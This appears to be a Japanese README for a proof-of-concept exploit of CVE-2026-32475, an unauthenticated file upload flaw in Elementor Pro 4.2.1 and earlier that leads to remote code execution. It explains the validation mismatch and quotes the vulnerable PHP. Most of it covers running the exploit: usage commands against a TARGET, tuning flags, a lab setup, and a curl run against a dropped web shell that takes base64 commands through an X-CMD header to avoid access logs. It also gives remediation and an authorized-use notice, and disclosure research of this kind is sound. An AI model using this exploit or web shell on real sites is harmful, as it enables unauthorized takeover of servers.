
# CVE-2026-32475 のPoC: Elementor Pro <=4.2.1 の認証なしファイルアップロードによるRCE。標準ライブラリのみのPython。
| CVE | CVE-2026-32475 |
| CVSS | 9.0 Critical |
| CWE | CWE-434(危険なタイプのファイルの無制限アップロード) |
| 認証要件 | なし |
| 影響を受けるバージョン | Elementor Pro ≤ 4.2.1 |
| 修正バージョン | Elementor Pro 4.2.2(2026-08-19) |
| 報告者 | Tin Pham(TF1T)、Patchstack Bug Bounty Program 経由 |
認証なしの訪問者
│
▼
Elementor フォームページ(ファイルアップロードフィールド)
│
▼
multipart/form-data POST → admin-ajax.php
│
├── パート #1: 空のファイル
│ └─► validation(): UPLOAD_ERR_NO_FILE → return ◄── 検証はここで停止
│
└── パート #2: shell.php
└─► タイプチェックされない
│
▼
process_field(): 続行 → それでも .php ペイロードを移動
│
▼
wp-content/uploads/elementor/forms/<uniqid>.php
│
▼
その URL に GET リクエスト ⇒ RCE
Forms モジュールは、アップロードされた各エントリを異なるループセマンティクスで2回に分けて処理します:
validation() process_field()
──────────── ──────────────
foreach files as file: foreach files as file:
if empty(file): if empty(file):
add_error(...) continue ◄─ このエントリのみスキップ
return move_uploaded_file(...) ◄─ 残りを移動
validation() は、エラーが UPLOAD_ERR_NO_FILE である最初のエントリで中断するため、後続の .php エントリはタイプチェックされません。process_field() は空のエントリをスキップするだけで、後続のすべてのエントリを公開アップロードディレクトリに移動し続けます。バリデータは失敗を報告する一方でムーバーは処理を続行します — この2つのループ間の非同期化こそが脆弱性です。
脆弱なコード(modules/forms/fields/upload.php、≤ 4.2.1):
// validation()
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // ← ループ全体を中断
}
// process_field()
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // ← このエントリのみスキップ
}
...
$file_extension = pathinfo( $file['name'], PATHINFO_EXTENSION );
$filename = uniqid() . '.' . $file_extension; // 攻撃者が制御する拡張子が残る
move_uploaded_file( $file['tmp_name'], $new_file );
4.2.2 の修正により、2つのループが一致します — 空のエントリが検証を早期終了しなくなるため、.php エントリはタイプチェックされ拒否されます。
post_id、form_id、アップロードフィールド ID をスクレイピングします。admin-ajax.php に送信します(action=elementor_pro_forms_send_form)。<uniqid> ファイル名空間をスイープしてシェル URL を復元します(完全な uniqid → ファイル名マッピングは analysis.md を参照)。シェルは、クエリ文字列/POST パラメータではなく、X-CMD リクエストヘッダー(base64 デコード)からコマンドを読み取ります。これは、コマンド転送をフォームパラメータから分離し、一般的なアクセスログのクエリ文字列から除外するためだけのものであり、脆弱性自体には関係ありません。
python3 el_rce_poc.py --url http://TARGET \
--page-url http://TARGET/upload-form/ \
--command "id; hostname; uname -a"
Python 3 標準ライブラリのみを使用します。調整用フラグ:
| フラグ | デフォルト | 説明 |
|---|---|---|
--probe-seconds | 0.05 | スイープする uniqid マイクロ秒ウィンドウ(秒) |
--step-us | 2000 | プローブ間のマイクロ秒 |
--workers | 24 | 並行プローブスレッド数 |
--field-id | 自動 | アップロードフィールドの自動検出が失敗した場合に手動設定 |
遅いターゲットに関する注意: プローブフェーズはターゲットに大きな負荷をかける可能性があります(数千リクエスト)。ターゲットと攻撃者の両方をホストする小規模なデバイスでは、Web サーバーが並行送信をドロップする可能性があります — --probe-seconds 0 で実行して任意アップロードのプリミティブのみを証明し、その後、ターゲット上の wp-content/uploads/elementor/forms/ 配下でドロップされた .php を直接特定して検証してください。
PoC は2つの独立したマイルストーンを分離します:
任意アップロードプリミティブ → PASS / FAIL
ファイル名復元(uniqid) → PASS / PARTIAL
RCE 確認 → PASS(上記両方が成功した場合)
終了コード 0 は完全な RCE 確認を意味します。終了コード 2 はアップロードプリミティブが証明されたが、ウィンドウ内でファイル名を推測できなかったことを意味します(wp-content/uploads/elementor/forms/ 配下のドロップされた .php を手動で確認してください)。
docker-compose.yml を参照してください。完全な手順:
# 1) WordPress + MariaDB を起動
docker compose up -d
# DB の準備に約30秒待ち、WordPress をインストール
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
# 2) 無料版 Elementor をインストール
docker compose run --rm wpcli wp plugin install elementor --activate
# 3) 脆弱な Elementor Pro(<= 4.2.1)をインストール。
# Elementor Pro は有料プラグインです — 合法的に入手した
# elementor-pro.zip(例:4.2.1)を docker-compose.yml の隣に配置してください:
docker compose run --rm wpcli wp plugin activate elementor-pro \
|| docker compose exec wordpress bash -c \
"cd wp-content/plugins && unzip -o /var/www/html/epr.zip"
# 4) フォームページを作成(PoC リポジトリに setup_form_page.php が同梱されています):
docker cp setup_form_page.php wp-lab:/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
# 5) PoC を実行
python3 el_rce_poc.py --url http://localhost:8090 --page-url "http://localhost:8090/?page_id=<ID>"
アップロードプリミティブ確認 — ペイロードが <uniqid>.php としてドロップされました:
$ ls wp-content/uploads/elementor/forms/
6a8cebf002529.php
ドロップされたシェルへのリクエストによる RCE 確認:
$ curl http://localhost:8090/wp-content/uploads/elementor/forms/<uniqid>.php \
-H "X-CMD: $(echo 'id && hostname' | base64)"
POC-RCE-OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)
26564238432c
Elementor Pro を 4.2.2+ に更新してください。それまでの間、公開フォームからファイルアップロードフィールドを削除するか、WAF ルールでフォーム送信を制限してください。
認可されたセキュリティ研究およびラボ使用のみを目的としています。